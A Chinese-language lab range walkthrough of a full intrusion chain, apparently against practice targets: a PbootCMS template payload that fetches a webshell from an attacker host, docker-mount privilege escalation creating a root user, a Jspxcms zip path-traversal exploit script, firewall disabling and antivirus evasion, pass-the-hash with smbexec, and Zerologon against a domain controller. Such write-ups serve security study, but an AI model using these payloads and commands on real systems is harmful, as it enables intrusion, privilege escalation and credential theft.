前言
这套靶场打下来,难度适中,中间折腾了不少。靶场cms对应的漏洞比较少,又学了一种新的域渗透姿势。
网络拓扑图

信息搜集
nmap扫描192.168.0.129的信息
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
888/tcp open http Apache httpd
3306/tcp open mysql MySQL (unauthorized)
8888/tcp open http Ajenti http control panel
网站首页,探测一波是PbootCMS V2.0.8,这个版本的漏洞只有一个就是在后台
8888是宝塔,而888无权限访问
目录扫描到config.tar.gz
和config/database.php~
和admin.php
,查看config/database.php~
。
获取到数据库路径为/data/c6613b090db86e60916afb3af6f923d2.db
。下载到本机后,使用navicat打开,在ay_user表里获取到用户名为:admin
解密后的密码为:admin7788
getshell
登录后台
在公司信息插入下面payload
{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['3','.php']), implode('',['<?php file_','put_','contents(','"shell.php",','file','_get_','contents("','http://192.168.0.130/2.txt"))?>'])))}!!!{/pboot:if}
再次访问网站首页,将会在网站根目录生成3.php 其中内容为<?php file_put_contents("shell.php",file_get_contents("http://192.168.0.130/2.txt"))?>
访问3.php,会下载webshell,并将内容保存为shell.php
如果访问3.php出现file_get_contents(): failed to open stream: HTTP request failed!
,解决 PHP file_get_contents()报错,修改user_agent即可解决
本来想用哥斯拉去连接的,不知道为什么连接不上。但蚁剑没有任何问题
提权
来到/home/cf1/
发现id_rsa
将内容复制到kali上,赋予权限chmod 600 id_rsa
,使用密钥登录ssh cf1@192.168.0.129 -i id_rsa
groups
,里面有docker可以利用docker进行提权
docker run -v /etc:/mnt -it alpine
,启动alpine
容器,并且将/etc 挂载到/mnt目录。意思是在容器里的/mnt
目录就是宿主机的/etc
目录,一定要先cd /mnt/
回到kali上,先创建一个用户名为hacker 密码为123456的用户
useradd -p`openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root -s /bin/bash -d /home/test
获取hacker账号的信息cat /etc/passwd | awk 'END {print}'
,cat /etc/shadow | awk 'END {print}'
来到docker将对应的信息写入
exit
,退出容器,输入密码123456
上线到msf,主机发现192.168.0.128
nmap进行详细探测
Jspxcms
访问8080端口,在首页底部得到jspxcms和后台
使用admin 123456 弱口令成功登录
Jspxcms v9.5.1,搜到一篇利用文章,文件解压引发的Getshell
import zipfile
if __name__ == "__main__":
try:
binary = b'<script>alert("helloworld")</script>'
zipFile = zipfile.ZipFile("test5.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test5.zip")
zipFile.writestr("../../../safedog.html", binary)
zipFile.close()
except IOError as e:
raise e
先运行上面的python代码,得到一个test5.zip。准备一个jsp木马,运行jar cvf shell.war 1.jsp
,生成shell.war
这里是非常重要的一步,要使用2345好压打开,winrar还不行,将shell.war拖进压缩包
文件管理->上传文件,点击上传文件,上传test5.zip后点击zip解压。
文件被解压到根目录
webshell地址http://192.168.0.128:8080/shell/1.jsp
,哥斯拉成功连接
有360和Windows Defender,这是一种非常特别的情况。因为如果有其他杀软的存在,Windows Defender会自动关闭。
netsh advfirewall show allprofiles
查看防火墙状态,netsh advfirewall set allprofiles state off
关闭防火墙
这一步就要搞免杀上线了,可以用哥斯拉自带的shellcodeLoader直接上线msf。无视杀软,屌的一批。唯一的缺点就是不稳定,session有时候会断开
横向渗透
ip地址192.168.0.128 ,10.10.1.129
扫到10.10.1.128
只开放了445端口
直接dir \\10.10.1.128\c$
,能执行
可以尝试jump psexec64 10.10.1.128 smb
,能成功上线,这是最后一次解释这次含义,创建一个smb的监听器名称为smb。这种上线方法必须要知道对方的administrator账号密码
第二种,先hashdump,获取administrator的hash。
使用impacket中的smbexec.py进行hash传递攻击。不知道为什么cs那边没法直接psexec
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387 administrator@10.10.1.128
这里一样有防火墙,先关闭掉netsh advfirewall set allprofiles state off
,存在杀软windows defender。
我们考虑一个场景假设10.10.1.128只有360,而你只会免杀360,而10.10.1.129刚刚的web服务器,用哥斯拉上线的那台有windows defender。你的马子无法过windows defender
众所周知,要想将木马传到10.10.1.128。最方便的就是copy shell.exe \\10.10.1.128\c$
。你将马子上传到10.10.1.129,刚刚上传上去就被windows defender杀了。这怎么办了。其实很简单使用压缩包传输木马,传过去后,解压就行。
安装winrar,要使用里面的UnRAR.exe
。这个只能解压rar,所以将木马压缩为rar格式
将shell.rar
和UnRAR.exe
上传到web服务器上,成功copy过去,绕过杀软
解压c:\UnRAR.exe x c:\shell.rar c:\
将shell.rar里面的文件解压到c:
执行上线
nslookup -type=SRV _ldap._tcp
找dc,存在域fbi.org,DC IP:10.10.10.139,dc主机名:dc
CVE-2020-1472
CVE-2020-1472补丁为kb4571719,没有打补丁
proxychains python3 set_empty_pw.py dc 10.10.10.139
,将dc密码打空
使用impacket/examples/secretsdump.py
proxychanis python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'fbi/dc$@10.10.10.139'
dump域控上的hash
还是用smbexec
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3 administrator@10.10.10.139
打靶结束,终于可以休息一下了